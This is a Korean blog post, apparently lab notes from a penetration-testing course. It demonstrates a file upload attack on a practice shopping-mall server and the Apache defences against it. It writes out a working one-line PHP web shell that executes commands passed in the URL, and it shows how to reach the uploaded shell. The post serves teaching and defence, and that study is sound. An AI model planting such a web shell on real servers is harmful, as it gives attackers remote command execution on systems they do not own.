1. 작업 환경
- VMware Workstation 17 Player
- Cent OS 7
- kali_linux
- 모의해킹용 쇼핑몰 서버
- Burp Suite
2. 파일업로드 공격 / 대응
- 공격
vi webshell.php
<?php
system($_GET['cmd']);
?>
게시판에 webshell.php 첨부 후 글 작성
webshell.php가 저장된 경로를 찾아서 주소창에 쳐보기
첨부파일 링크 확인:http://ip주소/download.php?file=/var/www/html/tmp/1718088401@webshell.php
/var/www/html/tmp/1718088401@webshell.php 가 경로이므로 http://ip주소/tmp/1718088401@webshell.php
http://ip주소/tmp/1718088401@webshell.php?cmd=리눅스 명령어를 주소창에 치면 동작함
- 대응
첨부파일의 실제 MIME 타입과 확장자를 모두 검증하기 때문에 웹쉘이 더이상 업로드 되지 않음
첨부파일 디렉토리의 php(서버사이드스크립트)가 실행되지 않도록 설정
vi /etc/httpd/conf/httpd.conf
<Directory "/var/www/html/tmp">
AllowOverrideAll
</Directory>
파일업로드 디렉터리에 .htaccess생성
vi /var/www/html/tmp/.htaccess
vi /var/www/html/tmp/.htaccess
<FilesMatch"\.(ph|inc|lib)">
Order allow,deny
Deny from all
</FilesMatch>
url을 통한 ph, .inc, .lib 파일 직접접근 차단
systemctl restart httpd
첨부파일 디렉터리(/tmp)에 있는 웹쉘 재접근시 403 응답코드 반환
파일업로드 용량 제한
vi /etc/httpd/conf/httpd.conf
<Directory "/var/www/html/tmp">
AllowOverrideAll
LimitRequestBody5000000
</Directory>
systemctl restart httpd
5M으로 제한
5M를 초과하는 크기의 파일을 업로드하면 아래와 같은 413 응답코드 반환
'모의해킹' 카테고리의 다른 글
불충분한 세션 관리 공격 / 대응 (0) | 2024.10.15 |
---|---|
파일 다운로드 공격 / 대응 (1) | 2024.10.15 |
CSRF 공격 / 대응 (0) | 2024.10.15 |
XSS 공격 / 대응 (0) | 2024.10.15 |
정보누출 공격 / 대응 (0) | 2024.10.15 |